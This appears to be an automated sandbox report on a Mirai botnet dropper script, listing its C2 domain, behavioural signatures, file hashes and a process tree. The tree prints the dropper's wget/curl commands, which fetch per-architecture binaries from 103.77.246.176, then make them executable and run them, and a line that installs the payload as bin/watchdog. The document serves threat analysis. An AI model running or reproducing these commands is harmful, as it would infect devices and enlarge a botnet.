Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    26/03/2025, 10:37

General

  • Target

    7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh

  • Size

    1KB

  • MD5

    5cb03410e968d6258f8669e638e42d3f

  • SHA1

    3c2579d5ef3fad9a1ef89f07f9d5729c03c6a9ff

  • SHA256

    7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74

  • SHA512

    781c81b67d13cef074b95d8f3c06baca6242fb2ba788c32b01dd6c59398df5b9282be2b932c0d5e4b480570e001a080a125ba786d77bca2fd682aad33dbb14c4

Malware Config

Extracted

Family

mirai

C2

anti.linkpc.net

Extracted

Family

mirai

C2

anti.linkpc.net

Extracted

Family

mirai

C2

anti.linkpc.net

Extracted

Family

mirai

C2

anti.linkpc.net

Extracted

Family

mirai

C2

anti.linkpc.net

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (32508) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh
    /tmp/7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:718
    • /usr/bin/wget
      wget http://103.77.246.176/x86
      2⤵
      • Writes file to tmp directory
      PID:724
    • /usr/bin/curl
      curl -O http://103.77.246.176/x86
      2⤵
      • Writes file to tmp directory
      PID:746
    • /bin/cat
      cat x86
      2⤵
        PID:747
      • /bin/chmod
        chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh RUN systemd-private-a6d7988086964a8c888b7d4dac966898-systemd-timedated.service-wPrApv x86
        2⤵
        • File and Directory Permissions Modification
        PID:748
      • /tmp/RUN
        ./RUN
        2⤵
          PID:749
        • /usr/bin/wget
          wget http://103.77.246.176/mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:751
        • /usr/bin/curl
          curl -O http://103.77.246.176/mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:759
        • /bin/cat
          cat mips
          2⤵
          • System Network Configuration Discovery
          PID:785
        • /bin/chmod
          chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh mips RUN systemd-private-a6d7988086964a8c888b7d4dac966898-systemd-timedated.service-wPrApv x86
          2⤵
          • File and Directory Permissions Modification
          PID:786
        • /tmp/RUN
          ./RUN
          2⤵
            PID:788
          • /usr/bin/wget
            wget http://103.77.246.176/arc
            2⤵
              PID:792
            • /usr/bin/curl
              curl -O http://103.77.246.176/arc
              2⤵
              • Writes file to tmp directory
              PID:803
            • /bin/cat
              cat arc
              2⤵
                PID:804
              • /bin/chmod
                chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh arc mips RUN systemd-private-a6d7988086964a8c888b7d4dac966898-systemd-timedated.service-wPrApv x86
                2⤵
                • File and Directory Permissions Modification
                PID:805
              • /tmp/RUN
                ./RUN
                2⤵
                  PID:806
                • /usr/bin/wget
                  wget http://103.77.246.176/x86_64
                  2⤵
                  • Writes file to tmp directory
                  PID:807
                • /usr/bin/curl
                  curl -O http://103.77.246.176/x86_64
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:821
                • /bin/cat
                  cat x86_64
                  2⤵
                    PID:839
                  • /bin/chmod
                    chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh arc mips RUN systemd-private-a6d7988086964a8c888b7d4dac966898-systemd-timedated.service-wPrApv x86 x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:840
                  • /tmp/RUN
                    ./RUN
                    2⤵
                      PID:841
                    • /usr/bin/wget
                      wget http://103.77.246.176/mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:843
                    • /usr/bin/curl
                      curl -O http://103.77.246.176/mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:844
                    • /bin/cat
                      cat mpsl
                      2⤵
                        PID:845
                      • /bin/chmod
                        chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh arc mips mpsl RUN systemd-private-a6d7988086964a8c888b7d4dac966898-systemd-timedated.service-wPrApv x86 x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:846
                      • /tmp/RUN
                        ./RUN
                        2⤵
                        • Changes its process name
                        • Reads runtime system information
                        PID:847
                        • /bin/sh
                          sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv ./RUN bin/watchdog; chmod 777 bin/watchdog"
                          3⤵
                          • File and Directory Permissions Modification
                          • Writes file to tmp directory
                          PID:848
                          • /bin/rm
                            rm -rf bin/watchdog
                            4⤵
                              PID:849
                            • /bin/mkdir
                              mkdir bin
                              4⤵
                                PID:850
                              • /bin/mv
                                mv ./RUN bin/watchdog
                                4⤵
                                • Reads runtime system information
                                PID:851
                              • /bin/chmod
                                chmod 777 bin/watchdog
                                4⤵
                                • File and Directory Permissions Modification
                                PID:852
                          • /usr/bin/wget
                            wget http://103.77.246.176/arm
                            2⤵
                            • Writes file to tmp directory
                            PID:854
                          • /usr/bin/curl
                            curl -O http://103.77.246.176/arm
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:857
                          • /bin/cat
                            cat arm
                            2⤵
                              PID:858
                            • /bin/chmod
                              chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh arc arm bin mips mpsl RUN systemd-private-a6d7988086964a8c888b7d4dac966898-systemd-timedated.service-wPrApv x86 x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:859
                            • /tmp/RUN
                              ./RUN
                              2⤵
                                PID:860
                              • /usr/bin/wget
                                wget http://103.77.246.176/arm5
                                2⤵
                                • Writes file to tmp directory
                                PID:862
                              • /usr/bin/curl
                                curl -O http://103.77.246.176/arm5
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:863
                              • /bin/cat
                                cat arm5
                                2⤵
                                  PID:864
                                • /bin/chmod
                                  chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh arc arm arm5 bin mips mpsl RUN systemd-private-a6d7988086964a8c888b7d4dac966898-systemd-timedated.service-wPrApv x86 x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:865
                                • /tmp/RUN
                                  ./RUN
                                  2⤵
                                    PID:866
                                  • /usr/bin/wget
                                    wget http://103.77.246.176/arm6
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:868
                                  • /usr/bin/curl
                                    curl -O http://103.77.246.176/arm6
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:872
                                  • /bin/cat
                                    cat arm6
                                    2⤵
                                      PID:873
                                    • /bin/chmod
                                      chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh arc arm arm5 arm6 bin mips mpsl RUN x86 x86_64
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:874
                                    • /tmp/RUN
                                      ./RUN
                                      2⤵
                                        PID:875
                                      • /usr/bin/wget
                                        wget http://103.77.246.176/arm7
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:877
                                      • /usr/bin/curl
                                        curl -O http://103.77.246.176/arm7
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:878
                                      • /bin/cat
                                        cat arm7
                                        2⤵
                                          PID:879
                                        • /bin/chmod
                                          chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh arc arm arm5 arm6 arm7 bin mips mpsl RUN x86 x86_64
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:880
                                        • /tmp/RUN
                                          ./RUN
                                          2⤵
                                            PID:881
                                          • /usr/bin/wget
                                            wget http://103.77.246.176/ppc
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:883
                                          • /usr/bin/curl
                                            curl -O http://103.77.246.176/ppc
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:884
                                          • /bin/cat
                                            cat ppc
                                            2⤵
                                              PID:885
                                            • /bin/chmod
                                              chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh arc arm arm5 arm6 arm7 bin mips mpsl ppc RUN x86 x86_64
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:886
                                            • /tmp/RUN
                                              ./RUN
                                              2⤵
                                                PID:887
                                              • /usr/bin/wget
                                                wget http://103.77.246.176/spc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:889
                                              • /usr/bin/curl
                                                curl -O http://103.77.246.176/spc
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:890
                                              • /bin/cat
                                                cat spc
                                                2⤵
                                                  PID:891
                                                • /bin/chmod
                                                  chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh arc arm arm5 arm6 arm7 bin mips mpsl ppc RUN spc x86 x86_64
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:892
                                                • /tmp/RUN
                                                  ./RUN
                                                  2⤵
                                                    PID:893
                                                  • /usr/bin/wget
                                                    wget http://103.77.246.176/m68k
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:895
                                                  • /usr/bin/curl
                                                    curl -O http://103.77.246.176/m68k
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:896
                                                  • /bin/cat
                                                    cat m68k
                                                    2⤵
                                                      PID:897
                                                    • /bin/chmod
                                                      chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh arc arm arm5 arm6 arm7 bin m68k mips mpsl ppc RUN spc x86 x86_64
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:898
                                                    • /tmp/RUN
                                                      ./RUN
                                                      2⤵
                                                        PID:899
                                                      • /usr/bin/wget
                                                        wget http://103.77.246.176/sh4
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:901
                                                      • /usr/bin/curl
                                                        curl -O http://103.77.246.176/sh4
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:902
                                                      • /bin/cat
                                                        cat sh4
                                                        2⤵
                                                          PID:903
                                                        • /bin/chmod
                                                          chmod +x 7b707f877544b367864e3dbb19e79c811b4464ba2f86c72b728b118874294c74.sh arc arm arm5 arm6 arm7 bin m68k mips mpsl ppc RUN sh4 spc x86 x86_64
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:904
                                                        • /tmp/RUN
                                                          ./RUN
                                                          2⤵
                                                            PID:905

                                                        Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • /tmp/RUN

                                                          Filesize

                                                          147KB

                                                          MD5

                                                          3f97af96cb9ef1de142415df6cfaeede

                                                          SHA1

                                                          905a6084f9c556aaed52a01d62516dccc920e186

                                                          SHA256

                                                          6f820efb8334f0b34c2c9c73eccf4c8aeb40e8ca9e42d3bbaaf4f28e67887c95

                                                          SHA512

                                                          45b5d16f85f3e0a2454cefc8ff7ba9ab1d6b53d824ca3624c118c1cf02c53ce0d5c0c5ce314dfa9885f400397b0047ff799cefc6e6caa822abdbb92deeef9a5c

                                                        • /tmp/arc

                                                          Filesize

                                                          201B

                                                          MD5

                                                          154506d20dcd8502b3820a2912b697e9

                                                          SHA1

                                                          55c207a1c0aeabc6df6d0307f11a03137139d701

                                                          SHA256

                                                          5937f6d6dadc5b9c5b3ad04297d3838d6c038ace39d0021b3055f09dd31d4c5c

                                                          SHA512

                                                          aeeb083e7bc6e5e8701572f91a5731148f1b93ebe3ab2ebd6d10526f08771601d6f79450f22a5cb03b2d05e54a4bb5fde176d541a6cbc5893d64f9b8621c0112

                                                        • /tmp/arm

                                                          Filesize

                                                          65KB

                                                          MD5

                                                          b5aa886296a761ab0bd2bd107cb035ae

                                                          SHA1

                                                          ddb750a7a0b2d33967c9e5e30cfa191e1fe699ef

                                                          SHA256

                                                          faaf06af3236af81d25c5f13c136b9aee70fb586d66143ab5f7dacdf0870e473

                                                          SHA512

                                                          9b651b7ccb348237b3cd537f4944a37684af3fe0f209427f3049ad36238eef167c023448972d80ab2efdc0cbc9a82915dcdd09a7d79336a3fe225dff161b6693

                                                        • /tmp/arm5

                                                          Filesize

                                                          39KB

                                                          MD5

                                                          2ac46642238ffcfeab959f97869d9bfc

                                                          SHA1

                                                          1d3fba167832a986bda046f8765284114e4cb7cd

                                                          SHA256

                                                          eb2918b74b0359a196f2046e189303421391b74b65faadbe74ba049e80cb463c

                                                          SHA512

                                                          ed710b2f9db047440f6d07ff6ac61d114e2dbf016f7284fe400c31a831e4524b8b1835e53d13dd35dafad21314b2aa7fccf595f546a8f9877af3ffffed80c438

                                                        • /tmp/arm6

                                                          Filesize

                                                          77KB

                                                          MD5

                                                          40c649f7453ca01061093c91b8c76b69

                                                          SHA1

                                                          eed464061319c2e0a3b7b0942d9509e1ed938ffa

                                                          SHA256

                                                          0d5be55f3cd741130d2fc1e147efeca22d8de8cbb8922624b9bb648608bcb10c

                                                          SHA512

                                                          ac745028eddde5a20da0d5b65b6e9e0cab411f66d9b6df96d0b83fdd82056f50ccbf8e70544111634309a999b79587c4a9510bef0b3296b671e13e2ecab2b68a

                                                        • /tmp/arm7

                                                          Filesize

                                                          147KB

                                                          MD5

                                                          66cc56bd10024990814962928bc967db

                                                          SHA1

                                                          acf3c6f4a5ba75b843dda7515ac19fbc7a06c55a

                                                          SHA256

                                                          ea1d1837e1064e562bfbfe679e406b88c67ae593bfe1dd2e44db0d05f5b0897b

                                                          SHA512

                                                          6e74d72d27d03d177fe9d1527662a344509f3625ebdc07721ea85c1a5560b22881bb45e2703a8e87713e7029bf9b10b0e2e99bc614283184af6651d7d27c9357

                                                        • /tmp/m68k

                                                          Filesize

                                                          68KB

                                                          MD5

                                                          a2621b03559d887ace5a7803e55d2f6b

                                                          SHA1

                                                          8506d0a81b6b7e5eec3d392cf34b3e2ac03a05a7

                                                          SHA256

                                                          5ea02f8d4ebabafd3afaa711f9eb2dd820527b3b6dd2ea717b8080c5800f45e7

                                                          SHA512

                                                          78d1b1f26400aae24113ef1f7467f6ffbb274c0e4768a22284faa8941147114c4ce0b678e3cdb97efbbf9b91d1f1e9852f8c88a49b5ed920f15729422af934ea

                                                        • /tmp/mips

                                                          Filesize

                                                          82KB

                                                          MD5

                                                          928a6896fd79a015fc0211b332a3b29e

                                                          SHA1

                                                          2e8aea744befb98c459cbe119d14dd90cd742b2d

                                                          SHA256

                                                          d2d6f02951bd1e204406338acc0b233f41a86514fee55f2603abcf817d54a3f0

                                                          SHA512

                                                          e367b80790642ad300a057e40ebcc7391ad5eebfb9c1dbe5644883110c5b6a55d785ad77acfd3e1172b6c9628238feb29d87535902c0fd9fb56a7747c882781c

                                                        • /tmp/mpsl

                                                          Filesize

                                                          82KB

                                                          MD5

                                                          24e5cf215aa9afc5928beca2c03d606c

                                                          SHA1

                                                          f7f163f7d4f086c432cae78adffefe4df50a8139

                                                          SHA256

                                                          80cb6911736c562cbfaecce3add2ceaeffdc41926cb45a9600d13a96b37857c0

                                                          SHA512

                                                          92bb363df5210d08d7df1a977044fc320136916c228408fe81e33218a08f3023586bb80acc4aaceb459d4248b55468134d66f53cb6d519f72fd666af1a569bd3

                                                        • /tmp/ppc

                                                          Filesize

                                                          61KB

                                                          MD5

                                                          9cf43e2d89af11625207931304255ff0

                                                          SHA1

                                                          7e2f042629595e713e03ba8777b35834467348f9

                                                          SHA256

                                                          347dfd015095de34d6d4a03141dd436be49bf558a2cd7161820dfe47a5c21096

                                                          SHA512

                                                          52fe120f96e8223be37b94447c167e1b074bc8a6e96d29bd937091566c7fca6d220b8d9af6bd37174410a1f9d87dfd881f90a02b1057abdb0e31966cc73405ce

                                                        • /tmp/sh4

                                                          Filesize

                                                          57KB

                                                          MD5

                                                          2b3eb88acf96ba6035cc5c096068e104

                                                          SHA1

                                                          9ce8a96218c0cc68ec3c31bd337f5ebecc4f0c67

                                                          SHA256

                                                          e627b2054712861b47220df6d896d66f6f0d1e0be25e70bb8e689755f9559916

                                                          SHA512

                                                          a2edea7c7d2407f18c5009fa2efd76a3dcc365628a6f07845bf711705e74d2ae156bec35783c992bd2169d2adeb2fde8d50bbdb2cec18233ec77c58a999040a0

                                                        • /tmp/spc

                                                          Filesize

                                                          65KB

                                                          MD5

                                                          a156cec3061c59853e3f66c3b5f6e1e0

                                                          SHA1

                                                          c8cce13ff75fca387d987bdcccddce6e5b29798a

                                                          SHA256

                                                          85ed89d7522842f3d68ba6b1d9d7ab9cfce5d6e49e4cdcfc84eda35e6c9001f4

                                                          SHA512

                                                          310a356d61c84f813e58e2c108856cf9f20d4677da4da99f714b62c476d73d875b3523a72e2951498f3ac769fef2039350cdda3df8e4f2d30fc59d3d7f1dd57c

                                                        • /tmp/x86

                                                          Filesize

                                                          54KB

                                                          MD5

                                                          992c31ecc9139b95d73cc50b1d423fe3

                                                          SHA1

                                                          0a409090f87f3c51bbc647db8e6e53da85428ef4

                                                          SHA256

                                                          8145e850af71d1b6b53236188eabca89336cebc2748d50e4c54c9f190f74acd3

                                                          SHA512

                                                          9ea91cffc8aa2daba283dca80a9cc84d3c9f07b70f0af26f1a1b11981eae69c2e5bb00d16dea62e9a9db912a310d6aee049901a1113454a6905f35cd97baa438

                                                        • /tmp/x86_64

                                                          Filesize

                                                          61KB

                                                          MD5

                                                          74ff8836102dc071a6d68254f52eb8a0

                                                          SHA1

                                                          5381abe66281268cd8dfad51934e687649b1609f

                                                          SHA256

                                                          21edfc97a23615194750a6d3479925b120c3af92003975832c743b9b659cac53

                                                          SHA512

                                                          cd40f3f947cb2edd78e69dfdf2f9ad352abaedddb5dc561b05e37543abf15b32e6cf22ee637c6099dca808dce722e054d633f4a0fc461a10f70390eee6865b8e